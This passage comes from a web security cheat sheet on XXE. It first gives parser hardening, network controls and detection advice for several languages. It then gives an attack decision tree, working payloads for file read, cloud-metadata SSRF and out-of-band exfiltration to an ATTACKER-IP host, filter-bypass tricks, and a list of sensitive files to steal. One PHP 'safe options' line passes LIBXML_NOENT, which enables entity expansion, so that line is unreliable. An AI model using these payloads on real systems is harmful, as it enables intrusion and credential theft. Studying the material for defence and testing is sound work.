dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

// Java — SAXParserFactory:
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

// Java — XMLInputFactory (StAX):
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
# Python — defusedxml (recommended library):
pip install defusedxml

import defusedxml.ElementTree as ET
tree = ET.parse('input.xml')              # safe by default
root = ET.fromstring(xml_string)          # safe by default
# defusedxml raises DefusedXmlException on XXE / billion laughs

# Python — lxml (manual config):
from lxml import etree
parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    load_dtd=False,
    dtd_validation=False
)
tree = etree.fromstring(xml_data, parser)
// PHP — disable external entity loader:
// PHP < 8.0:
libxml_disable_entity_loader(true);

// PHP >= 8.0 (disabled by default, but confirm):
// DOMDocument with safe options:
$doc = new DOMDocument();
$doc->loadXML($xml, LIBXML_NONET | LIBXML_NOENT | LIBXML_DTDLOAD * 0);

// SimpleXML:
libxml_disable_entity_loader(true);   // PHP < 8.0
$obj = simplexml_load_string($xml);
// C# / .NET — XmlReaderSettings:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;  // or Parse (not Ignore)
settings.XmlResolver = null;                        // disable external resolution
XmlReader reader = XmlReader.Create(stream, settings);
# Ruby — Nokogiri:
# Nokogiri 1.5.4+ disables external entities by default.
# Explicitly pass NONET to prevent network access:
doc = Nokogiri::XML(xml_string) do |config|
  config.nonet     # no network access
  config.noent     # don't expand entities
end

13.2 Use Safe XML Libraries

Recommended safe parsers (external entities disabled by default):
├── Python:    defusedxml (explicit safe-by-design drop-in)
├── Java:      OWASP Java Encoder + hardened parser config
├── Ruby:      Nokogiri ≥ 1.5.4 with nonet + noent options
├── Node.js:   xml2js (does not process external entities)
├── .NET:      XmlReader with DtdProcessing.Prohibit
└── PHP:       PHP 8.0+ (entity loader disabled by default)

Avoid:
├── Java:  XMLDecoder (deserialization — separate but severe)
└── PHP:   simplexml_load_string() without libxml_disable_entity_loader()

13.3 Input Validation

# Block DOCTYPE declarations at string level (secondary defense):
import re

def validate_xml_input(xml_string):
    if re.search(r'<!DOCTYPE', xml_string, re.IGNORECASE):
        raise ValueError("DOCTYPE not allowed in XML input")
    if re.search(r'<!ENTITY', xml_string, re.IGNORECASE):
        raise ValueError("ENTITY declarations not allowed")
    if re.search(r'SYSTEM\s+"', xml_string, re.IGNORECASE):
        raise ValueError("External SYSTEM identifiers not allowed")
    return xml_string

# Note: string-level filters are bypassable (encoding, case variation).
# Primary defense must be parser hardening (Section 13.1).

13.4 Network-Level Controls

# Block outbound HTTP/DNS from XML-parsing services:
# → Prevents OOB exfiltration even if XXE succeeds
# → XML parsers should never need to make outbound HTTP requests

# Firewall egress rules for app servers:
# DENY outbound to 0.0.0.0/0:80 from app tier
# DENY outbound to 0.0.0.0/0:443 from app tier (except known APIs)
# DENY outbound to 0.0.0.0/0:53 (DNS) from app tier (use resolver only)

# If HTTP egress is needed for legitimate API calls:
# Route through egress proxy with allowlist
# → Parser network requests hit the proxy and are denied

13.5 Defense-in-Depth

PRIMARY CONTROLS:
├── Disable external entity processing in the XML parser
├── Disable DOCTYPE declaration processing where not needed
├── Use defusedxml / safe parser libraries
└── Set XmlResolver = null / no_network = true

SECONDARY CONTROLS:
├── Block outbound HTTP/DNS/FTP from XML-processing services
├── Validate XML input — reject DOCTYPE / ENTITY declarations
├── Prefer data formats that don't support entities (JSON, protobuf)
├── Run XML-processing components in isolated sandboxes
└── Apply least privilege — app process should not read /etc/passwd, /etc/shadow

FILE UPLOAD SPECIFIC:
├── Validate file type (magic bytes, not just extension)
├── Re-render SVG server-side with a safe rasterizer (Inkscape → PNG)
├── Strip XML directives from uploaded Office files before parsing
└── Use an allowlist of accepted MIME types; reject application/xml uploads if not needed

DETECTION:
├── Log all XML parse errors — entity expansion errors are a red flag
├── Alert on outbound HTTP/DNS from app servers to unexpected IPs/domains
├── Monitor for filesystem access patterns (e.g. /etc/passwd read by web process)
├── DAST: run Burp Active Scan / nuclei XXE templates in CI/CD
└── SAST: scan for XMLParser / DocumentBuilder without safe feature flags

14. Master Cheat Sheet

Attack Decision Tree

Found XML parsing? (SOAP, REST with XML, file upload, SAML)
│
├── Step 1: Can you control the full XML body?
│   ├── YES → Inject DOCTYPE + SYSTEM entity (Section 3)
│   └── NO  → Try XInclude (Section 7) or file upload (Section 8)
│
├── Step 2: Can you control Content-Type?
│   ├── Try: Content-Type: application/xml or text/xml
│   └── Reformat JSON body as XML (Section 9.1)
│
├── Step 3: In-Band or Blind?
│   ├── Entity value reflected in response? → In-band → read files directly
│   └── No reflection? → Blind → OOB or error-based
│
├── Step 4: OOB Available?
│   ├── Set up interactsh / Collaborator → inject %xxe SYSTEM callback URL
│   ├── DNS callback received? → OOB XXE confirmed
│   └── No outbound? → Error-based (Section 6)
│
├── Step 5: Escalate
│   ├── Read: /etc/passwd, .env, config files, SSH keys
│   ├── SSRF: hit cloud metadata (169.254.169.254), internal services
│   ├── OOB: exfiltrate file via malicious.dtd + HTTP log
│   └── PHP: php://filter/base64-encode for source code
│
└── Step 6: Bypasses (if blocked)
    ├── Encoding: UTF-16, EBCDIC
    ├── Case variation: <!doctype>, <!entity>
    ├── PUBLIC instead of SYSTEM
    ├── XInclude if DOCTYPE stripped
    └── OOB DTD if entity value not reflected

Quick Payload Reference

<!-- ── BASIC IN-BAND FILE READ ── -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

<!-- ── PHP BASE64 FILE READ ── -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>
<root><data>&xxe;</data></root>

<!-- ── SSRF — CLOUD METADATA ── -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">]>
<root><data>&xxe;</data></root>

<!-- ── OOB CONFIRMATION ── -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://ATTACKER-IP/oob-confirm"> %xxe;]>
<root/>

<!-- ── BLIND OOB FILE EXFIL (in-document) ── -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://ATTACKER-IP/malicious.dtd">
  %dtd;
]>
<root/>

<!-- malicious.dtd: -->
<!-- <!ENTITY % wrap "<!ENTITY &#x25; send SYSTEM 'http://ATTACKER-IP/?d=%file;'>"> -->
<!-- %wrap; %send; -->

<!-- ── ERROR-BASED ── -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % wrap "<!ENTITY &#x25; err SYSTEM 'file:///nonexistent/%file;'>">
  %wrap; %err;
]>
<root/>

<!-- ── XINCLUDE (no DOCTYPE needed) ── -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</foo>

<!-- ── SVG UPLOAD ── -->
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg"><text>&xxe;</text></svg>

<!-- ── PUBLIC KEYWORD BYPASS ── -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe PUBLIC "x" "file:///etc/passwd">]>
<root><data>&xxe;</data></root>

Parser Hardening Quick Reference

// Java (safest — disable DOCTYPE entirely):
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
# Python (use defusedxml):
import defusedxml.ElementTree as ET
tree = ET.fromstring(xml_string)
// PHP < 8.0:
libxml_disable_entity_loader(true);
// C#:
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
# Ruby:
doc = Nokogiri::XML(xml) { |c| c.nonet.noent }

Files to Target

# Linux:
file:///etc/passwd              # users list
file:///etc/shadow              # hashed passwords
file:///etc/hosts               # internal hostnames
file:///proc/self/environ       # environment variables (may have secrets)
file:///proc/self/cmdline       # process command line
file:///root/.ssh/id_rsa        # root SSH key
file:///home/USER/.ssh/id_rsa   # user SSH key
file:///app/.env                # environment config (API keys, DB URL)
file:///app/config.py           # Python app config
file:///var/www/html/config.php # PHP config

# Windows:
file:///C:/Windows/System32/drivers/etc/hosts
file:///C:/inetpub/wwwroot/web.config
file:///C:/Users/Administrator/Desktop/flag.txt
file:///C:/xampp/htdocs/config.php

← Web top ↑